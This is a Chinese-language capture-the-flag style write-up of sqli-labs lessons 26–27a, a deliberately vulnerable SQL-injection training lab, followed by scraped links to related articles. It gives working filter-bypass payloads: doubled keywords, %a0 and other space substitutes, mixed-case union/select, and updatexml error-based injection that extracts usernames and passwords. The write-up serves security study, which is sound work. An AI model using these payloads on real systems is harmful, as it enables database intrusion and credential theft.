sqli-labs lesson 26-27a
less 26:
因为本关在windows上运行可能会出现字符转义(apacche下空格无法转义)错误,所以在docker上搭建好sqli-labs
在win2003上远程登录sqli-labs
先执行?id=1' 出现报错 ,可能存在注入漏洞
观察源码:可以看后面的注释,把or and /* 等等注释符都替换了

这里可以使用报错注入,注意or和空格是会被preg_replace函数删除掉,所以or要双写,
空格用()或者url编码代替
例如:
?id=1'||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name=0x7573657273)),0x7e),1);%00
这里需要空格隔开的字符串都用括号包裹了起来,0x7573657273='users'

但是这里group_concat不可以取出所有的值,所以最后爆字段值的时候
可以用id=x挨个取字段值:
?id=1'||updatexml(1,concat(0x7e,(select(group_concat(concat_ws('-',username,passwoorrd)))from(security.users)where(id=1)),0x7e),1);%00
上面都是因为不能使用空格使用括号包裹的思路,下面演示用字符替换空格的思路
关于可以替换空格的编码字符:
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
执行:?id=1'%a0oorrder%a0by%a03;%00 页面正常显示

那么说明可以像less 1一样构造联合查询语句。
less 26a
关于本关 id是被('')包裹,所以注意闭合,例如:?id=1')%a0oorrder%a0by%a03||('1')=('1
再有就是注意26a关,关闭了错误提示,不能再使用报错注入

less 27
观察源码:



第1个信息就是id被单引号包裹
第2个信息有错误提示
第3个信息与less26a相比 新增了首字母大写、全小写、全大写的union和select注释
但是mysql不区分大小写,所以空格用%a0替换 union改为uNion,select改为sElect即可
第二种方法:报错注入
原理都类似,下面给一个payload
?id=1'%a0||updatexml(1,concat(0x7e,(SElecT%a0(concat_ws('~',username,password))from%a0users%a0limit%a00,1),0x7e),1)||%a0'1'='1

其余的payload均可参考此例构造
less 27a
与27区别在于 本关为双引号包裹 还是注意union select分开大小写即可
构造联合查询语句 就轻松破解
sqli-labs lesson 26-27a的更多相关文章
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- SQL注入系列:SQLi Labs
前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...
- Sqli - Labs 靶场笔记(一)
Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...
- SQLI LABS Challenges Part(54-65) WriteUp
终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...
- SQLI LABS Stacked Part(38-53) WriteUp
这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...
- SQLI LABS Advanced Part(23-37) WriteUp
继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...
- Lesson 26 The best art critics
Text I am an art student and I paint a lot of pictures. Manay people pretend that they understand mo ...
随机推荐
- SpringCloud:feign对象传参和普通传参及遇到的坑
对象传参: #使用@RequestBody来指定传参对象 @RequestMapping(value = "/v2/matterCode/genCode", method = Re ...
- Nginx:Nginx日志切割方法
Nginx的日志文件是没有切割(rotate)功能的,但是我们可以写一个脚本来自动切割日志文件. 首先我们要注意两点: 1.切割的日志文件是不重名的,所以需要我们自定义名称,一般就是时间日期做文件名. ...
- 线程中sleep()方法和wait()方法的前生今世
先看再点赞,给自己一点思考的时间,如果对自己有帮助,微信搜索[程序职场]关注这个执着的职场程序员.我有什么:职场规划指导,技能提升方法,讲不完的职场故事,个人成长经验. 不知道大家有没有这种感觉,在公 ...
- java基础---java8后新特性
1. java9 新特性 模块化的使用 减少内存的开销. 可简化各种类库和大型应用的开发和维护. 安全性,可维护性,提高性能. 在 module-info.java 文件中,我们可以用新的关键词mod ...
- Python - bytes与字符串的相互转化
decode和encode的区别和介绍 by.decode(encoding='UTF-8',errors='strict') str.encode(encoding='UTF-8',errors=' ...
- 支持 Homebrew 安装和编辑器模式的 flomo 命令行工具
什么是 flomo-cli 这是一款可以在命令行中将笔记和想法保存到 flomo 的工具. 基于 Golang 实现,可通过 Homebrew 便捷安装. GitHub Repo:https://gi ...
- 【LeetCode】12. 整数转罗马数字
12. 整数转罗马数字 知识点:字符串 题目描述 罗马数字包含以下七种字符: I, V, X, L,C,D 和 M. 字符 数值 I 1 V 5 X 10 L 50 C 100 D 500 M 100 ...
- bootstrap栅格布局-v客学院知识分享
今天主要跟大家讲解下bootstrap的栅格布局,以及使用过程中应该注意的问题 首先我们要使用bootstrp的栅格布局就必须使用HTML正确的基本结构 如下图: 必须给要使用栅格布局的盒子定义cla ...
- springMVC-6-restful_CRUD
1.大体框架 POJO层代码 Employee @Data public class Employee { private Integer id; private String lastName; p ...
- 如何在cmd中运行.py文件
C:\Users\mf>cd C:\Program Files\Python36\ C:\Program Files\Python36>python const.py 切换到.py文件所在 ...